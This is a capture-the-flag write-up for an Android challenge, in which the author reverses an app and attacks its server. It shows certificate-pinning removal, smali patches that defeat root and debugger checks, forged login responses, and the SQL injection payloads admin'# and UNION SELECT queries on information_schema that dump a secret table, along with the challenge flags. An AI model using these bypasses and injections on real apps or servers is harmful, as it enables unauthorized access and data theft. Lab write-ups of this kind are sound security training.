"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz71X8syKOvdCFJA0or1QuyjAAvWiz1GgdHLrJtWNB0xNWIn93uDOw9RrcCYtCMqP3m672nYhHGbfJPgPTO42W1uktzKbjSDuwqlfPDffcR5gM0ZPD+OgKDzJM50BYcbx5os8C8LiK4Tc/86T9mM1AygFX85gjcWUGyNjxA6ldVqIVnfZAxYl+VFqzo1glI7r4HpNk2LVhz6vwBNOld3r8/1gk4N7RwKGDsCzCCeK5xPhNYjzCzWLLwd6TAwiGxs4lXQ9ITrfeKzaLgEAEISbCOg6a6/1V1Rqi8DJ7dpp8MZkwLYt1xar4kevcKr50SSDFUHXdAQ2GQ4sCljBPHfixwIDAQAB"

Meanwhile, signullAPI.getUrl formats its argument into one of the following endpoints:

• https://chals.tisc25.ctf.sg:21742/login.php
• https://chals.tisc25.ctf.sg:21742/message.php
• https://chals.tisc25.ctf.sg:21742/index.php
• https://chals.tisc25.ctf.sg:21742/help.php
• https://chals.tisc25.ctf.sg:21742/signature.php

Sending blank requests to each of these endpoints did not produce anything useful, but curiously the server appeared to respond identically to both GET and POST requests.

In stage1Activity.onCreate, the "signature" endpoint is used, with the HTTP method set to 1, or POST . An instance of Stage1Activity$3 is created and initialised with the JSON from the earlier dummyCall, and sent to the server by invoking Lcom/ropllc/signull/MySingleton;->addToRequestQueue.

Moving over to the response listener Stage1Activity$1, in its onResponse method, a TamperCheck instance is created, then the values for "debug" and "release" are read from the JSON response and passed to tamperCheck.setAppSignature and tamperCheck.validateAppSignature in turn, which checks that the value matches a hash of the apk’s signature.

From stage1Activity$1.onResponse, the initial observed behaviour of SIGNULL occurs when at least one of the "debug" and "release" values fail validation. The status of these checks can be seen in Logcat :

21074-21074 APP_SIGNATURE           com.ropllc.signull                   I  5D81AAA4DBE8D80DF8553F15BB232FCAD483ADE6
21074-21074 APP_SIGNATURE           com.ropllc.signull                   I  5D81AAA4DBE8D80DF8553F15BB232FCAD483ADE6
21074-21074 Stage1_result_debug     com.ropllc.signull                   I  true
21074-21074 Stage1_result_release   com.ropllc.signull                   I  false

The hash of the apk’s signature is 5D81AAA4DBE8D80DF8553F15BB232FCAD483ADE6, but in order to find out what is being sent by the server we would be have to either rebuild the apk with additional logging or intercept its HTTPS messages with a MITM proxy.

At the same time, even when both validations pass, all that seems to happen is that an alert will show with the message "Application integrity has been compromised! Kindly install the original one!". This does not seem that useful, but we can try to verify this behaviour anyway, by intercepting and modifying the server’s response using the same MITM proxy. In this case, I used Burp Suite .

We can configure a network proxy in the Android emulator, but we also need to install a CA cert generated by Burp. I tried adding the cert to the user store as well as the system store , but neither worked:

This is because of certificate pinning . Looking in AndroidManifest.xml, the <application> element has an android:networkSecurityConfig attribute defined:

    <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:extractNativeLibs="false" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:networkSecurityConfig="@xml/network_security_config" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Signull">

This points to a resource file, specifically res/xml/network_security_config.xml, which specifies that only the specific cert bundled with the apk should be trusted .

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config>
        <domain includeSubdomains="true">ctf.sg</domain>
        <trust-anchors>
            <certificates src="@raw/signullapi_ssl" />
        </trust-anchors>
    </domain-config>
</network-security-config>

To work around this, add the following inside the <trust-anchors> element to allow certs in the user and system stores to be trusted:

            <certificates src="system" />
            <certificates src="user" />

We now need to rebuild the apk. First, we need to generate a signing key using JDK’s keytool :

$ keytool -genkey -v -keystore signull.keystore -alias signull -keyalg RSA -keysize 4096 -validity 10000

Then build , align and sign it.

$ apktool b SIGNULL_PROD_11092025
$ zipalign -v 4 SIGNULL_PROD_11092025/dist/SIGNULL_PROD_11092025.apk signull-allow-certs.apk
$ apksigner sign -v --ks signull.keystore signull-allow-certs.apk

After installing the rebuilt apk, we can proxy the network traffic through Burp and read the server responses to the POST /signature.php request:

{
	"debug": "5D81AAA4DBE8D80DF8553F15BB232FCAD483ADE6",
	"release": "5D81AAA4DBE8D80DF8553F15BB232FCAD483ADEF"
}

Since these are supposed to be SHA1 digests, it is highly unlikely that they would differ by only their last character legitimately, and the release value is likely fake. In any case, since we had to re-sign the apk, its signature would have changed and the debug value would also no longer be valid. We have to replace the server response with the new signature (which we can see in Logcat) using Burp.

As expected, all this does is to display an alert.

Instead, we turn to AndroidManifest.xml again to look for the entrypoint of the app:

        <activity android:exported="false" android:name="com.ropllc.signull.Stage3Activity"/>
        <activity android:exported="true" android:name="com.ropllc.signull.Stage1Activity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:exported="true" android:name="com.ropllc.signull.Stage2Activity"/>

To access stage 2, we can probably just move the <intent-filter> element from com.ropllc.signull.Stage1Activity to com.ropllc.signull.Stage2Activity and rebuild.

Apparently all that about validating the apk signature was simply a wild goose chase. At least we figured out how to rebuild the apk and intercept its network traffic, which should hopefully be helpful later.

Stage 2: …Housekeeping

But wait, when we rebuild the apk with Stage2Activity, the app crashes on launch. Looking in Logcat,

 E  FATAL EXCEPTION: main
     Process: com.ropllc.signull, PID: 22099
     java.lang.RuntimeException: Unable to start activity ComponentInfo{com.ropllc.signull/com.ropllc.signull.Stage2Activity}: android.view.WindowManager$BadTokenException: Unable to add window -- token null is not valid; is your activity running?
     	at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3449)
     	at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3601)
     	at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:85)
     	at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:135)
     	at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:95)
     	at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2066)
     	at android.os.Handler.dispatchMessage(Handler.java:106)
     	at android.os.Looper.loop(Looper.java:223)
     	at android.app.ActivityThread.main(ActivityThread.java:7656)
     	at java.lang.reflect.Method.invoke(Native Method)
     	at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:592)
     	at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:947)
     Caused by: android.view.WindowManager$BadTokenException: Unable to add window -- token null is not valid; is your activity running?
     	at android.view.ViewRootImpl.setView(ViewRootImpl.java:1068)
     	at android.view.WindowManagerGlobal.addView(WindowManagerGlobal.java:409)
     	at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:109)
     	at android.app.Dialog.show(Dialog.java:340)
     	at com.ropllc.signull.Stage2Activity.onCreate(Stage2Activity.java:76)
     	at android.app.Activity.performCreate(Activity.java:7994)
     	at android.app.Activity.performCreate(Activity.java:7978)
     	at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1309)
     	at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3422)
     	at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3601) 
     	at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:85) 
     	at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:135) 
     	at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:95) 
     	at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2066) 
     	at android.os.Handler.dispatchMessage(Handler.java:106) 
     	at android.os.Looper.loop(Looper.java:223) 
     	at android.app.ActivityThread.main(ActivityThread.java:7656) 
     	at java.lang.reflect.Method.invoke(Native Method) 
     	at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:592) 
     	at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:947) 

This error occurs because stage2Activity.onCreate attempts to instantiate an AlertDialog.Builder using an unaccepted argument type .

To fix this, edit the following lines in Stage2Activity.smali in the onCreate method

    .line 61
    new-instance p1, Landroid/app/AlertDialog$Builder;

    .line 62
    invoke-virtual {p0}, Lcom/ropllc/signull/Stage2Activity;->getApplicationContext()Landroid/content/Context;

    move-result-object v0

    invoke-direct {p1, v0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V

into

    .line 61
    new-instance p1, Landroid/app/AlertDialog$Builder;

    .line 62
    invoke-direct {p1, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V

Here, p0 refers to this, i.e. the Stage2Activity instance, which inherits from AppCompatActivity and therefore satisfies the requirement for AlertDialog.Builder.

Once we rebuild the app and launch it, we are faced with the alert dialog that we just fixed. Clicking “OK” exits the app.

The message visible in the background suggests that the flag is LNC25{lel}, but this is obviously a lie (I tried it anyway).

This dialog arises in onCreate due to the following lines, which retrieves a signullAPI instance and calls its apkProtection method, then jumps to :cond_0 only if the result is false.

    .line 58
    iget-object p1, p0, Lcom/ropllc/signull/Stage2Activity;->sigObj:Lcom/ropllc/signull/signullAPI;

    invoke-virtual {p1}, Lcom/ropllc/signull/signullAPI;->apkProtection()Z

    move-result p1

    if-eqz p1, :cond_0

signullAPI.apkProtection evaluates to true if signullAPI.checkRooted or signullAPI.checkDebugger returns true, suggesting that this check guards against a rooted device or any attached debuggers, including the one attached to the emulated Android device by default. That is rather annoying, so we should get rid of it:

    .line 58
	const/4 p1, 0x0

    if-eqz p1, :cond_0

Now, onCreate can continue executing from :cond_0, where it prepares and sends a request to /help.php. The response listener, Stage2Activity$2, then overwrites the fake flag from before with the "flag" value from the JSON response.

{
	"function": "message",
	"syntax": {
		"api_call": "message.php",
		"api_body": "{'messageId':'','csrfToken':'','access_token':''"
	},
	"flag": "TISC{Th3_53c"
}

We also see a new sign-in form. Clicking on the “sign in” button with an empty username and password unsurprisingly produces an error:

Looking at the intercepted HTTPS messages in Burp, the response to /login.php is

{
	"success": false,
	"message": "Invalid username or password",
	"csrfToken": "3936323565313134363334633132366432363438336138333138646466396638",
	"access_token": "tceglf4boqat8nisd8tas9g8f7",
	"debug_msg": "the user \"admin\" works fine for this account. remind me to remove this message when i push this app into production!"
}

Using admin as the username did not do anything with an empty password, or with any other obvious guess for the password.

On the other hand, the "success" field is tempting. If we define an automatic replacement in the response body from "success": false, to "success": true,, and then click “sign in” again, we get Stage 3. Yay.

Stage 3: Exploitation

Unfortunately, if we enter 1 and click “load message”, all we get is the following error message in the TextView, in blue:

Although we were able to trick the local app into granting us access to stage 3, we did not in fact authenticate ourselves on the server, and do not have a valid access_token stored in our signullAPI instance. Sadly, our access to stage 3 was only illusory.

What else can we do with a login form? Perhaps SQL injection. I tried to sign in with username admin'# and an empty password, and it worked.

With a successful login, the response from /login.php came with an additional field, giving the second part of the flag.

{
	"success": true,
	"message": "Login successful",
	"csrfToken": "3836373038646434373031633662303335643233626233373165396561663233",
	"access_token": "7v6ccs7jnp4nuakapamd1v0gk7",
	"flag_2": "r3t_15_r0p11"
}

I could then successfully enter 1 and load the message, getting this response from /message.php:

{
	"msgId": "1",
	"message": "Welcome to SIGNULL, the no.1 premier secure communications application.",
	"access_token": "7v6ccs7jnp4nuakapamd1v0gk7",
	"csrfToken": "3939353837303666626364386161386432353236353630373438373961333234"
}

Incrementing the message id produced some additional messages, but they were not very useful:

2

Hope Kaligula is doing well despite her on the run.

3

That is pretty much about it, there are no other messages seriously lol

The last message is obviously a lie, so I tried SQL injection again on the message id field, which again worked. Since the Android GUI only allowed entering numbers, I again used Burp to define an automatic replacement rule, this time on the outbound request body, to replace "1" with "1 OR 'HI'='HI'". The response from the server appeared to be multiple JSON strings concatenated together, corresponding to the rows of the table:

{"msgId": "1", "message": "Welcome to SIGNULL, the no.1 premier secure communications application.", ...}{"msgId": "2", "message": "Hope Kaligula is doing well despite her on the run.", ...}{"msgId": "3", "message": "That is pretty much about it, there are no other messages seriously lol", ...}

We can simplify the above procedure by writing a Python script to submit requests to the server directly, with reference to the JSON formats of the outbound requests captured by Burp—our injection query should be passed in as the "messageId" field to /message.php. We also need to reproduce the encryption implemented by signullAPI.encryptString, for which we can use the PyPI package PyCryptodome :

from Crypto.Cipher import PKCS1_v1_5 as cipher_algo
from Crypto.PublicKey import RSA

def encrypt(key_base64: str, plaintext: str):
	rsa_key = RSA.import_key(base64.b64decode(key_base64 + "=="))
	cipher = cipher_algo.new(rsa_key)
	ciphertext = cipher.encrypt(plaintext.encode())
	return base64.b64encode(ciphertext).decode()

In order to read outside of the messages table, we can use a UNION operator to concatenate an unrelated query to the original. With a bit of experimentation, the SQL query used by the server to retrieve a message seems to be of the form

SELECT msgId, message FROM messages_table WHERE msgId = query_msgId

which meant that we could read two columns of a table at a time.

We first want to know what other tables there are. We can read from the information_schema.tables table by setting messageId to

1 UNION (SELECT TABLE_NAME, TABLE_ROWS FROM information_schema.tables)

Parsing the response with a Python script, we get

[('CHARACTER_SETS', 'None'),
 ('COLLATIONS', 'None'),
 ...
 ('messages_7v6ccs7jnp4nuakapamd1v0gk7_912654', '3'),
 ('secret_7v6ccs7jnp4nuakapamd1v0gk7_912654', '1')]

The secret table is probably what we want. We then get column information from the information_schema.columns table, using a wrapper Python function,

sql_extract_columns("SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.columns")

[('CHARACTER_SETS', 'CHARACTER_SET_NAME'),
 ('CHARACTER_SETS', 'DEFAULT_COLLATE_NAME'),
 ...
 ('messages_7v6ccs7jnp4nuakapamd1v0gk7_912654', 'msgId'),
 ('messages_7v6ccs7jnp4nuakapamd1v0gk7_912654', 'message'),
 ('secret_7v6ccs7jnp4nuakapamd1v0gk7_912654', 'secretId'),
 ('secret_7v6ccs7jnp4nuakapamd1v0gk7_912654', 'secret')]

Finally, we can do the same thing on the secret table:

sql_extract_columns("SELECT secretId, secret FROM secret_7v6ccs7jnp4nuakapamd1v0gk7_912654")

['1', '{"msgId":"c_15_th3_B1GG35T_5c4m}']

This completes the flag.